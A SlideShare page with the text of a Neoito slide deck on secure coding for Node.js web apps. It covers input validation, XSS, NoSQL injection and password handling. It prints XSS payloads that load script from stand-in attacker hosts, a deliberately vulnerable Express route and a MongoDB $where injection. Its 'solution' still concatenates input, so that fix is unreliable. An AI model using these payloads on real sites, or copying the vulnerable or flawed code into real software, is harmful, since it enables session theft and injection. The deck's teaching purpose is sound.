SlideShare uma empresa Scribd logo
1 de 25
Baixar para ler offline
Secure Coding
Practices
Akash S Prakash, Neoito
How secure do you think this is ?
function add(a,b) {
c = a+b;
return c;
}
Why secure coding?
1. http://www.informationisbeautiful.net/visualizations/worlds-biggest-data-
breaches-hacks/
2. https://en.wikipedia.org/wiki/Heartbleed
(https://tools.ietf.org/html/rfc6520)
(https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=4817504)
3. https://blog.qualys.com/laws-of-vulnerabilities/2015/01/27/the-ghost-vuln
erability
Golden Rule of Web Security
Never trust User Input!
How user Input should be viewed
Input Validations
“ All client input is hostile until proven otherwise or sanitized. “
● Perform client-side and server-side user input validations.
● Constrain, reject and sanitize input.
● The range of valid data is generally a more finite set than the range of
potentially malicious input.
● Constrain input for type, length, format, and range.
● Never directly inject user content into responses
● Validate all client provided data before processing, including all
parameters, URLs and HTTP header
Content
● Validate all input against a whitelist of allowed characters, whenever
possible
● Validate for expected data types:
○ const userInputAge = '32';
const userAge = Number.parseInt(userInputAge);
console.log('User is %d years old', userAge);
// User is 32 years old
● Use actively maintained validation modules than reduce use of custom
Regex for common purpose
Eg: email validations
Input entry points
● Query Parameters
● URL path
● PUT/POST parameters
● Cookies
● Headers
● File uploads
● Emails
● Form fields
● Web sockets
File Uploads
● All file uploads should be subjected to strict validation
● Node.js suggest multer
● Store uploaded files on Specific location:
○ Uploaded files should be stored in specific location without execution privilages and
directory listing
● Check file size and type before saving to storage. Never rely on file
extension
● Do not execute user uploaded content(Unless under a gun point, duh!)
○ If at gunpoint, use a library like Jailed that runs code in sandbox mode
Post Validation Actions
● Enforcement Actions:
○ Notify user the input failed to comply with the requirements and should be modified
○ Modify user submitted data on server side without notifying the user
● Advisory Action:
○ Allows unchanged data but inform the user that there was issues with the entered data
● Verification Action:
○ Suggest changes in the user input. User chooses whether to keep the data or change it
Eg: Billing forms
Sanitization
Sanitization refers to the process of removing or replacing submitted data.
When dealing with data, after the proper validation checks have been made,
an additional step which tends to be taken in order to strengthen data safety
is sanitization.
● Convert Single Less-Than Characters < to Entity
● Remove Line Breaks, Tabs and Extra White Space
● Url Request Path: Any input containing the dot-dot-slash(../) should be rejected
Output Encoding
● Cross-Site Scripting (XSS)
● NoSQL Injection
Cross-Site Scripting
● Cross-Site Scripting (XSS) vulnerabilities are one of the most prevalent
attacks involving web applications and JavaScript
● Types:
○ Server XSS - when untrusted data is included in an HTML response generated by the
server
○ Client XSS - when untrusted user supplied data is used to update the DOM with an unsafe
JavaScript call
● Server XSS
○ Occurs when untrusted data is included in an HTML response generated by the server
○ https://www.google.pt/search?q=JS+SCP
■ No results found for "JS SCP"
○ https://www.google.pt/search?q=<script>alert(XSS)</script>
■ <p>No results found for "<script>alert(XSS)<%2Fscript>"</p>
○ https://www.google.pt/search?q=<script>s=document.createElement("script"),s.src="//attacker.
com/ms.js",document.body.appendChild(s);<%2Fscript>
const express = require('express');
const db = require('../lib/db');
const router = express.Router();
router.get('/search', (req, res) => {
const results = db.search(req.query.q);
if (results.length === 0) {
return res.send('<p>No results found for "' + req.query.q + '"</p>');
}
});
● Client XXS
○ Occurs when untrusted user supplied data is used to update the DOM with an unsafe
JavaScript call
○ document.write('<script type="text/JavaScript" src="' + (location.search.split('req=')[1] || '')
+ '"></scr'+'ipt>');
○ location.search.split is not properly escaped, the req parameter can be manipulated by
an attacker to retrieve malicious JavaScript from a location he/she is in control of,
injecting it into the web page of which the victim is visiting
○ http://www.example.com/?req=https://www.attacker.com/poc/xss.js
○ Upon clicking it, the https://www.attacker.com/poc/xss.js script is requested by the ad
snippet, making it run in the www.example.com context.
○ Initial step of a Session Hijacking attack as an attacker's script may have access to the
session cookie (if it was not properly set as httpOnly ) or to the localStorage where a JSON
Web Token (JWT) may be found
Cross-Site Scripting Prevention
● Nodejs:
○ Both encodeURI and encodeURIComponent functions are available on Node.js global
scope , but more specialized packages like the xss-filters
var express = require('express');
var app = express();
var xssFilters = require('xss-filters');
app.get('/', function(req, res){
var firstname = req.query.firstname; //an untrusted input
collected from user
res.send('<h1> Hello, ' + xssFilters.inHTMLData(firstname)
+ '!</h1>');
});
app.listen(3000);
● Angular:
○ Angular already has some built-in protections to help developers dealing with output
encoding and XSS mitigation
○ By default, all values are considered untrusted/unsafe. This means that whenever a value
is inserted into the DOM from a template , property , attribute , style , class binding or
interpolation Angular sanitizes and escapes it
○ https://angular.io/guide/security
NoSQL Injection
● MongoDB
○ Whenever an application accepts user input as query parameters, malicious content can
be injected into the database unless some steps are taken to prevent it.
○ These three operations that allow arbitrary JavaScript expressions to run directly
on the server:
■ $where
■ mapReduce
■ group
● This query returns the document whose UserID is equal to the
req.query.id value
● Making req.query.id equals to 0; return true will lead to the
expression this.UserID = 0; return true which is the NoSQL equivalent
to: SELECT * FROM Users WHERE UserID = 0 OR 1 = 1
● Soln:
const dbQuery = {
$where: 'this.UserID = ' + req.query.id
}
db.Users.find(dbQuery);
const dbQuery = {
$where: 'this.UserID = new Number(' + req.query.id + ')'
}
db.Users.find(dbQuery);
Authentication and Password Management
● All authentication controls must be enforced on a trusted system
● Utilize standard and tested authentication controls
○ Eg: Passport
● Password entry should be obscured on user's screen but also the
remember me functionality should be disabled
○ <input type="password" name="passwd" autocomplete="off" />
● Communicating Authentication Data
○ Authentication credentials should be sent on HTTP POST requests only
○ When handling authentication errors, your application should not disclose which part of
the authentication data was incorrect
○ Who is registered - "invalid password" means that the username exists
○ How your system works - "invalid password" reveals how your application works
● Avoid using deprecated hashing algorithms (e.g. SHA-1, MD5, etc)
○ http://md5decrypt.net/en/Sha1/
● Always use salt for encryption
● Do not use the same salt for whole application
● Recommended hashing algorithms are bcrypt , PDKDF2 , Argon2 and
Scrypt
● Enforce password complexity requirements
● Passwords should be at least one day old before they can be changed
● Express-brute package for express allows request slowdown (after 5 failed
logins), as well as setting a daily maximum login attempt
number (1000)
● Enforce account disabling after an established number of invalid login
attempts (e.g., five attempts is common). The account must be disabled
for a period of time sufficient to discourage brute force guessing of
credentials, but not so long as to allow for a denial-of-service attack to be
performed
Error Handling and Logging
● Information, no matter how insignificant is seems, matters a lot in web
world.
References
● https://github.com/Checkmarx/JS-SCP/blob/master/build/js-webapp-scp.p
df
● https://www.slideshare.net/OWASPKerala/owasptalk-46926597
Thank you.

Mais conteúdo relacionado

Mais procurados

Secure code
Secure codeSecure code
Secure codeddeogun
 
Finacle - Secure Coding Practices
Finacle - Secure Coding PracticesFinacle - Secure Coding Practices
Finacle - Secure Coding PracticesInfosys Finacle
 
Secure programming with php
Secure programming with phpSecure programming with php
Secure programming with phpMohmad Feroz
 
[OPD 2019] Life after pentest
[OPD 2019] Life after pentest[OPD 2019] Life after pentest
[OPD 2019] Life after pentestOWASP
 
Secure Coding - Web Application Security Vulnerabilities and Best Practices
Secure Coding - Web Application Security Vulnerabilities and Best PracticesSecure Coding - Web Application Security Vulnerabilities and Best Practices
Secure Coding - Web Application Security Vulnerabilities and Best PracticesWebsecurify
 
Platform Security IRL: Busting Buzzwords & Building Better
Platform Security IRL:  Busting Buzzwords & Building BetterPlatform Security IRL:  Busting Buzzwords & Building Better
Platform Security IRL: Busting Buzzwords & Building BetterEqual Experts
 
Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web application
Nguyen Phuong Truong Anh  - Some new vulnerabilities in modern web applicationNguyen Phuong Truong Anh  - Some new vulnerabilities in modern web application
Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web applicationSecurity Bootcamp
 
In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...
In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...
In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...Jakub Kałużny
 
Web Application Penetration Testing Introduction
Web Application Penetration Testing IntroductionWeb Application Penetration Testing Introduction
Web Application Penetration Testing Introductiongbud7
 
How to find Zero day vulnerabilities
How to find Zero day vulnerabilitiesHow to find Zero day vulnerabilities
How to find Zero day vulnerabilitiesMohammed A. Imran
 
OWASP Top 10 - The Ten Most Critical Web Application Security Risks
OWASP Top 10 - The Ten Most Critical Web Application Security RisksOWASP Top 10 - The Ten Most Critical Web Application Security Risks
OWASP Top 10 - The Ten Most Critical Web Application Security RisksAll Things Open
 
Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...Codemotion
 
Secure Coding 101 - OWASP University of Ottawa Workshop
Secure Coding 101 - OWASP University of Ottawa WorkshopSecure Coding 101 - OWASP University of Ottawa Workshop
Secure Coding 101 - OWASP University of Ottawa WorkshopPaul Ionescu
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelinesZakaria SMAHI
 
Security Testing
Security TestingSecurity Testing
Security TestingKiran Kumar
 
The New OWASP Top Ten: Let's Cut to the Chase
The New OWASP Top Ten: Let's Cut to the ChaseThe New OWASP Top Ten: Let's Cut to the Chase
The New OWASP Top Ten: Let's Cut to the ChaseSecurity Innovation
 

Mais procurados (20)

Secure code
Secure codeSecure code
Secure code
 
Finacle - Secure Coding Practices
Finacle - Secure Coding PracticesFinacle - Secure Coding Practices
Finacle - Secure Coding Practices
 
Secure programming with php
Secure programming with phpSecure programming with php
Secure programming with php
 
OWASP TOP 10
OWASP TOP 10OWASP TOP 10
OWASP TOP 10
 
Secure Software Engineering
Secure Software EngineeringSecure Software Engineering
Secure Software Engineering
 
[OPD 2019] Life after pentest
[OPD 2019] Life after pentest[OPD 2019] Life after pentest
[OPD 2019] Life after pentest
 
Secure Coding - Web Application Security Vulnerabilities and Best Practices
Secure Coding - Web Application Security Vulnerabilities and Best PracticesSecure Coding - Web Application Security Vulnerabilities and Best Practices
Secure Coding - Web Application Security Vulnerabilities and Best Practices
 
Platform Security IRL: Busting Buzzwords & Building Better
Platform Security IRL:  Busting Buzzwords & Building BetterPlatform Security IRL:  Busting Buzzwords & Building Better
Platform Security IRL: Busting Buzzwords & Building Better
 
Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web application
Nguyen Phuong Truong Anh  - Some new vulnerabilities in modern web applicationNguyen Phuong Truong Anh  - Some new vulnerabilities in modern web application
Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web application
 
In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...
In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...
In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...
 
Web Application Penetration Testing Introduction
Web Application Penetration Testing IntroductionWeb Application Penetration Testing Introduction
Web Application Penetration Testing Introduction
 
How to find Zero day vulnerabilities
How to find Zero day vulnerabilitiesHow to find Zero day vulnerabilities
How to find Zero day vulnerabilities
 
OWASP Top 10 - The Ten Most Critical Web Application Security Risks
OWASP Top 10 - The Ten Most Critical Web Application Security RisksOWASP Top 10 - The Ten Most Critical Web Application Security Risks
OWASP Top 10 - The Ten Most Critical Web Application Security Risks
 
Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...
 
Secure Coding 101 - OWASP University of Ottawa Workshop
Secure Coding 101 - OWASP University of Ottawa WorkshopSecure Coding 101 - OWASP University of Ottawa Workshop
Secure Coding 101 - OWASP University of Ottawa Workshop
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelines
 
L27
L27L27
L27
 
Secure PHP Coding
Secure PHP CodingSecure PHP Coding
Secure PHP Coding
 
Security Testing
Security TestingSecurity Testing
Security Testing
 
The New OWASP Top Ten: Let's Cut to the Chase
The New OWASP Top Ten: Let's Cut to the ChaseThe New OWASP Top Ten: Let's Cut to the Chase
The New OWASP Top Ten: Let's Cut to the Chase
 

Semelhante a Neoito — Secure coding practices

Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...
Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...
Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...LogeekNightUkraine
 
Securing TodoMVC Using the Web Cryptography API
Securing TodoMVC Using the Web Cryptography APISecuring TodoMVC Using the Web Cryptography API
Securing TodoMVC Using the Web Cryptography APIKevin Hakanson
 
Security Best Practices for Bot Builders
Security Best Practices for Bot BuildersSecurity Best Practices for Bot Builders
Security Best Practices for Bot BuildersMax Feldman
 
Security on Rails
Security on RailsSecurity on Rails
Security on RailsDavid Paluy
 
Security .NET.pdf
Security .NET.pdfSecurity .NET.pdf
Security .NET.pdfAbhi Jain
 
Truetesters presents OWASP Top 10 Web Vulnerability
Truetesters presents OWASP Top 10 Web VulnerabilityTruetesters presents OWASP Top 10 Web Vulnerability
Truetesters presents OWASP Top 10 Web VulnerabilityTrueTesters
 
Protecting the Web at a scale using consul and Elk / Valentin Chernozemski (S...
Protecting the Web at a scale using consul and Elk / Valentin Chernozemski (S...Protecting the Web at a scale using consul and Elk / Valentin Chernozemski (S...
Protecting the Web at a scale using consul and Elk / Valentin Chernozemski (S...Ontico
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applicationsDevnology
 
6 - Web Application Security.pptx
6 - Web Application Security.pptx6 - Web Application Security.pptx
6 - Web Application Security.pptxAlmaOraevi
 
Secure Coding for NodeJS
Secure Coding for NodeJSSecure Coding for NodeJS
Secure Coding for NodeJSThang Chung
 
Content Security Policy - Lessons learned at Yahoo
Content Security Policy - Lessons learned at YahooContent Security Policy - Lessons learned at Yahoo
Content Security Policy - Lessons learned at YahooBinu Ramakrishnan
 
Application Security
Application SecurityApplication Security
Application Securityflorinc
 
Insecurity-In-Security version.1 (2010)
Insecurity-In-Security version.1 (2010)Insecurity-In-Security version.1 (2010)
Insecurity-In-Security version.1 (2010)Abhishek Kumar
 
WordPress Security 101: Essential Security Practices Simplified
WordPress Security 101: Essential Security Practices SimplifiedWordPress Security 101: Essential Security Practices Simplified
WordPress Security 101: Essential Security Practices SimplifiedBlogVault Inc
 

Semelhante a Neoito — Secure coding practices (20)

Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...
Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...
Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...
 
Owasp top 10 2013
Owasp top 10 2013Owasp top 10 2013
Owasp top 10 2013
 
Coding Security: Code Mania 101
Coding Security: Code Mania 101Coding Security: Code Mania 101
Coding Security: Code Mania 101
 
Securing TodoMVC Using the Web Cryptography API
Securing TodoMVC Using the Web Cryptography APISecuring TodoMVC Using the Web Cryptography API
Securing TodoMVC Using the Web Cryptography API
 
Security Best Practices for Bot Builders
Security Best Practices for Bot BuildersSecurity Best Practices for Bot Builders
Security Best Practices for Bot Builders
 
Security on Rails
Security on RailsSecurity on Rails
Security on Rails
 
Security .NET.pdf
Security .NET.pdfSecurity .NET.pdf
Security .NET.pdf
 
Truetesters presents OWASP Top 10 Web Vulnerability
Truetesters presents OWASP Top 10 Web VulnerabilityTruetesters presents OWASP Top 10 Web Vulnerability
Truetesters presents OWASP Top 10 Web Vulnerability
 
Protecting the Web at a scale using consul and Elk / Valentin Chernozemski (S...
Protecting the Web at a scale using consul and Elk / Valentin Chernozemski (S...Protecting the Web at a scale using consul and Elk / Valentin Chernozemski (S...
Protecting the Web at a scale using consul and Elk / Valentin Chernozemski (S...
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
6 - Web Application Security.pptx
6 - Web Application Security.pptx6 - Web Application Security.pptx
6 - Web Application Security.pptx
 
Secure Coding for NodeJS
Secure Coding for NodeJSSecure Coding for NodeJS
Secure Coding for NodeJS
 
Web Apps Security
Web Apps SecurityWeb Apps Security
Web Apps Security
 
Drupal Security Hardening
Drupal Security HardeningDrupal Security Hardening
Drupal Security Hardening
 
Drupal Security Hardening
Drupal Security HardeningDrupal Security Hardening
Drupal Security Hardening
 
Content Security Policy - Lessons learned at Yahoo
Content Security Policy - Lessons learned at YahooContent Security Policy - Lessons learned at Yahoo
Content Security Policy - Lessons learned at Yahoo
 
Application Security
Application SecurityApplication Security
Application Security
 
Insecurity-In-Security version.1 (2010)
Insecurity-In-Security version.1 (2010)Insecurity-In-Security version.1 (2010)
Insecurity-In-Security version.1 (2010)
 
WordPress Security 101: Essential Security Practices Simplified
WordPress Security 101: Essential Security Practices SimplifiedWordPress Security 101: Essential Security Practices Simplified
WordPress Security 101: Essential Security Practices Simplified
 
Secure coding in C#
Secure coding in C#Secure coding in C#
Secure coding in C#
 

Mais de Neoito

Neoito — NativeScript Best Coding Practices
Neoito — NativeScript Best Coding PracticesNeoito — NativeScript Best Coding Practices
Neoito — NativeScript Best Coding PracticesNeoito
 
Neoito — *NIX kungfu for web devs
Neoito — *NIX kungfu for web devsNeoito — *NIX kungfu for web devs
Neoito — *NIX kungfu for web devsNeoito
 
Neoito — How modern browsers work
Neoito — How modern browsers workNeoito — How modern browsers work
Neoito — How modern browsers workNeoito
 
Neoito — React 101
Neoito — React 101Neoito — React 101
Neoito — React 101Neoito
 
Neoito — Scaling node.js
Neoito — Scaling node.jsNeoito — Scaling node.js
Neoito — Scaling node.jsNeoito
 
Neoito — Grid layout
Neoito — Grid layoutNeoito — Grid layout
Neoito — Grid layoutNeoito
 
Neoito — Software licensing
Neoito — Software licensingNeoito — Software licensing
Neoito — Software licensingNeoito
 
Neoito — GitLab for project management
Neoito — GitLab for project managementNeoito — GitLab for project management
Neoito — GitLab for project managementNeoito
 
Neoito — Routing and navigation in Angular
Neoito — Routing and navigation in AngularNeoito — Routing and navigation in Angular
Neoito — Routing and navigation in AngularNeoito
 
Neoito — Animations in Angular 5
Neoito — Animations in Angular 5Neoito — Animations in Angular 5
Neoito — Animations in Angular 5Neoito
 
Neoito — A roadmap to Angular
Neoito — A roadmap to AngularNeoito — A roadmap to Angular
Neoito — A roadmap to AngularNeoito
 
Neoito — Intro to WebSockets
Neoito — Intro to WebSocketsNeoito — Intro to WebSockets
Neoito — Intro to WebSocketsNeoito
 
Neoito — Typography for the web
Neoito — Typography for the webNeoito — Typography for the web
Neoito — Typography for the webNeoito
 
Neoito — Design patterns and depenedency injection
Neoito — Design patterns and depenedency injectionNeoito — Design patterns and depenedency injection
Neoito — Design patterns and depenedency injectionNeoito
 

Mais de Neoito (14)

Neoito — NativeScript Best Coding Practices
Neoito — NativeScript Best Coding PracticesNeoito — NativeScript Best Coding Practices
Neoito — NativeScript Best Coding Practices
 
Neoito — *NIX kungfu for web devs
Neoito — *NIX kungfu for web devsNeoito — *NIX kungfu for web devs
Neoito — *NIX kungfu for web devs
 
Neoito — How modern browsers work
Neoito — How modern browsers workNeoito — How modern browsers work
Neoito — How modern browsers work
 
Neoito — React 101
Neoito — React 101Neoito — React 101
Neoito — React 101
 
Neoito — Scaling node.js
Neoito — Scaling node.jsNeoito — Scaling node.js
Neoito — Scaling node.js
 
Neoito — Grid layout
Neoito — Grid layoutNeoito — Grid layout
Neoito — Grid layout
 
Neoito — Software licensing
Neoito — Software licensingNeoito — Software licensing
Neoito — Software licensing
 
Neoito — GitLab for project management
Neoito — GitLab for project managementNeoito — GitLab for project management
Neoito — GitLab for project management
 
Neoito — Routing and navigation in Angular
Neoito — Routing and navigation in AngularNeoito — Routing and navigation in Angular
Neoito — Routing and navigation in Angular
 
Neoito — Animations in Angular 5
Neoito — Animations in Angular 5Neoito — Animations in Angular 5
Neoito — Animations in Angular 5
 
Neoito — A roadmap to Angular
Neoito — A roadmap to AngularNeoito — A roadmap to Angular
Neoito — A roadmap to Angular
 
Neoito — Intro to WebSockets
Neoito — Intro to WebSocketsNeoito — Intro to WebSockets
Neoito — Intro to WebSockets
 
Neoito — Typography for the web
Neoito — Typography for the webNeoito — Typography for the web
Neoito — Typography for the web
 
Neoito — Design patterns and depenedency injection
Neoito — Design patterns and depenedency injectionNeoito — Design patterns and depenedency injection
Neoito — Design patterns and depenedency injection
 

Último

Sending Calendar Invites on SES and Calendarsnack.pdf
Sending Calendar Invites on SES and Calendarsnack.pdfSending Calendar Invites on SES and Calendarsnack.pdf
Sending Calendar Invites on SES and Calendarsnack.pdf31events.com
 
Call Us🔝>༒+91-9711147426⇛Call In girls karol bagh (Delhi)
Call Us🔝>༒+91-9711147426⇛Call In girls karol bagh (Delhi)Call Us🔝>༒+91-9711147426⇛Call In girls karol bagh (Delhi)
Call Us🔝>༒+91-9711147426⇛Call In girls karol bagh (Delhi)jennyeacort
 
UI5ers live - Custom Controls wrapping 3rd-party libs.pptx
UI5ers live - Custom Controls wrapping 3rd-party libs.pptxUI5ers live - Custom Controls wrapping 3rd-party libs.pptx
UI5ers live - Custom Controls wrapping 3rd-party libs.pptxAndreas Kunz
 
How to submit a standout Adobe Champion Application
How to submit a standout Adobe Champion ApplicationHow to submit a standout Adobe Champion Application
How to submit a standout Adobe Champion ApplicationBradBedford3
 
Powering Real-Time Decisions with Continuous Data Streams
Powering Real-Time Decisions with Continuous Data StreamsPowering Real-Time Decisions with Continuous Data Streams
Powering Real-Time Decisions with Continuous Data StreamsSafe Software
 
Odoo 14 - eLearning Module In Odoo 14 Enterprise
Odoo 14 - eLearning Module In Odoo 14 EnterpriseOdoo 14 - eLearning Module In Odoo 14 Enterprise
Odoo 14 - eLearning Module In Odoo 14 Enterprisepreethippts
 
Cyber security and its impact on E commerce
Cyber security and its impact on E commerceCyber security and its impact on E commerce
Cyber security and its impact on E commercemanigoyal112
 
How To Manage Restaurant Staff -BTRESTRO
How To Manage Restaurant Staff -BTRESTROHow To Manage Restaurant Staff -BTRESTRO
How To Manage Restaurant Staff -BTRESTROmotivationalword821
 
React Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief UtamaReact Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief UtamaHanief Utama
 
PREDICTING RIVER WATER QUALITY ppt presentation
PREDICTING  RIVER  WATER QUALITY  ppt presentationPREDICTING  RIVER  WATER QUALITY  ppt presentation
PREDICTING RIVER WATER QUALITY ppt presentationvaddepallysandeep122
 
Unveiling Design Patterns: A Visual Guide with UML Diagrams
Unveiling Design Patterns: A Visual Guide with UML DiagramsUnveiling Design Patterns: A Visual Guide with UML Diagrams
Unveiling Design Patterns: A Visual Guide with UML DiagramsAhmed Mohamed
 
What is Advanced Excel and what are some best practices for designing and cre...
What is Advanced Excel and what are some best practices for designing and cre...What is Advanced Excel and what are some best practices for designing and cre...
What is Advanced Excel and what are some best practices for designing and cre...Technogeeks
 
Introduction Computer Science - Software Design.pdf
Introduction Computer Science - Software Design.pdfIntroduction Computer Science - Software Design.pdf
Introduction Computer Science - Software Design.pdfFerryKemperman
 
Ahmed Motair CV April 2024 (Senior SW Developer)
Ahmed Motair CV April 2024 (Senior SW Developer)Ahmed Motair CV April 2024 (Senior SW Developer)
Ahmed Motair CV April 2024 (Senior SW Developer)Ahmed Mater
 
CRM Contender Series: HubSpot vs. Salesforce
CRM Contender Series: HubSpot vs. SalesforceCRM Contender Series: HubSpot vs. Salesforce
CRM Contender Series: HubSpot vs. SalesforceBrainSell Technologies
 
SuccessFactors 1H 2024 Release - Sneak-Peek by Deloitte Germany
SuccessFactors 1H 2024 Release - Sneak-Peek by Deloitte GermanySuccessFactors 1H 2024 Release - Sneak-Peek by Deloitte Germany
SuccessFactors 1H 2024 Release - Sneak-Peek by Deloitte GermanyChristoph Pohl
 
Software Project Health Check: Best Practices and Techniques for Your Product...
Software Project Health Check: Best Practices and Techniques for Your Product...Software Project Health Check: Best Practices and Techniques for Your Product...
Software Project Health Check: Best Practices and Techniques for Your Product...Velvetech LLC
 
Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...
Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...
Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...confluent
 
Precise and Complete Requirements? An Elusive Goal
Precise and Complete Requirements? An Elusive GoalPrecise and Complete Requirements? An Elusive Goal
Precise and Complete Requirements? An Elusive GoalLionel Briand
 

Último (20)

Sending Calendar Invites on SES and Calendarsnack.pdf
Sending Calendar Invites on SES and Calendarsnack.pdfSending Calendar Invites on SES and Calendarsnack.pdf
Sending Calendar Invites on SES and Calendarsnack.pdf
 
Call Us🔝>༒+91-9711147426⇛Call In girls karol bagh (Delhi)
Call Us🔝>༒+91-9711147426⇛Call In girls karol bagh (Delhi)Call Us🔝>༒+91-9711147426⇛Call In girls karol bagh (Delhi)
Call Us🔝>༒+91-9711147426⇛Call In girls karol bagh (Delhi)
 
UI5ers live - Custom Controls wrapping 3rd-party libs.pptx
UI5ers live - Custom Controls wrapping 3rd-party libs.pptxUI5ers live - Custom Controls wrapping 3rd-party libs.pptx
UI5ers live - Custom Controls wrapping 3rd-party libs.pptx
 
How to submit a standout Adobe Champion Application
How to submit a standout Adobe Champion ApplicationHow to submit a standout Adobe Champion Application
How to submit a standout Adobe Champion Application
 
Powering Real-Time Decisions with Continuous Data Streams
Powering Real-Time Decisions with Continuous Data StreamsPowering Real-Time Decisions with Continuous Data Streams
Powering Real-Time Decisions with Continuous Data Streams
 
Odoo 14 - eLearning Module In Odoo 14 Enterprise
Odoo 14 - eLearning Module In Odoo 14 EnterpriseOdoo 14 - eLearning Module In Odoo 14 Enterprise
Odoo 14 - eLearning Module In Odoo 14 Enterprise
 
Cyber security and its impact on E commerce
Cyber security and its impact on E commerceCyber security and its impact on E commerce
Cyber security and its impact on E commerce
 
How To Manage Restaurant Staff -BTRESTRO
How To Manage Restaurant Staff -BTRESTROHow To Manage Restaurant Staff -BTRESTRO
How To Manage Restaurant Staff -BTRESTRO
 
React Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief UtamaReact Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief Utama
 
PREDICTING RIVER WATER QUALITY ppt presentation
PREDICTING  RIVER  WATER QUALITY  ppt presentationPREDICTING  RIVER  WATER QUALITY  ppt presentation
PREDICTING RIVER WATER QUALITY ppt presentation
 
Unveiling Design Patterns: A Visual Guide with UML Diagrams
Unveiling Design Patterns: A Visual Guide with UML DiagramsUnveiling Design Patterns: A Visual Guide with UML Diagrams
Unveiling Design Patterns: A Visual Guide with UML Diagrams
 
What is Advanced Excel and what are some best practices for designing and cre...
What is Advanced Excel and what are some best practices for designing and cre...What is Advanced Excel and what are some best practices for designing and cre...
What is Advanced Excel and what are some best practices for designing and cre...
 
Introduction Computer Science - Software Design.pdf
Introduction Computer Science - Software Design.pdfIntroduction Computer Science - Software Design.pdf
Introduction Computer Science - Software Design.pdf
 
Ahmed Motair CV April 2024 (Senior SW Developer)
Ahmed Motair CV April 2024 (Senior SW Developer)Ahmed Motair CV April 2024 (Senior SW Developer)
Ahmed Motair CV April 2024 (Senior SW Developer)
 
CRM Contender Series: HubSpot vs. Salesforce
CRM Contender Series: HubSpot vs. SalesforceCRM Contender Series: HubSpot vs. Salesforce
CRM Contender Series: HubSpot vs. Salesforce
 
SuccessFactors 1H 2024 Release - Sneak-Peek by Deloitte Germany
SuccessFactors 1H 2024 Release - Sneak-Peek by Deloitte GermanySuccessFactors 1H 2024 Release - Sneak-Peek by Deloitte Germany
SuccessFactors 1H 2024 Release - Sneak-Peek by Deloitte Germany
 
Software Project Health Check: Best Practices and Techniques for Your Product...
Software Project Health Check: Best Practices and Techniques for Your Product...Software Project Health Check: Best Practices and Techniques for Your Product...
Software Project Health Check: Best Practices and Techniques for Your Product...
 
Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...
Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...
Catch the Wave: SAP Event-Driven and Data Streaming for the Intelligence Ente...
 
Precise and Complete Requirements? An Elusive Goal
Precise and Complete Requirements? An Elusive GoalPrecise and Complete Requirements? An Elusive Goal
Precise and Complete Requirements? An Elusive Goal
 
Hot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort Service
Hot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort ServiceHot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort Service
Hot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort Service
 

Neoito — Secure coding practices

  • 2. How secure do you think this is ? function add(a,b) { c = a+b; return c; }
  • 3. Why secure coding? 1. http://www.informationisbeautiful.net/visualizations/worlds-biggest-data- breaches-hacks/ 2. https://en.wikipedia.org/wiki/Heartbleed (https://tools.ietf.org/html/rfc6520) (https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=4817504) 3. https://blog.qualys.com/laws-of-vulnerabilities/2015/01/27/the-ghost-vuln erability
  • 4. Golden Rule of Web Security Never trust User Input!
  • 5. How user Input should be viewed
  • 6. Input Validations “ All client input is hostile until proven otherwise or sanitized. “ ● Perform client-side and server-side user input validations. ● Constrain, reject and sanitize input. ● The range of valid data is generally a more finite set than the range of potentially malicious input. ● Constrain input for type, length, format, and range. ● Never directly inject user content into responses
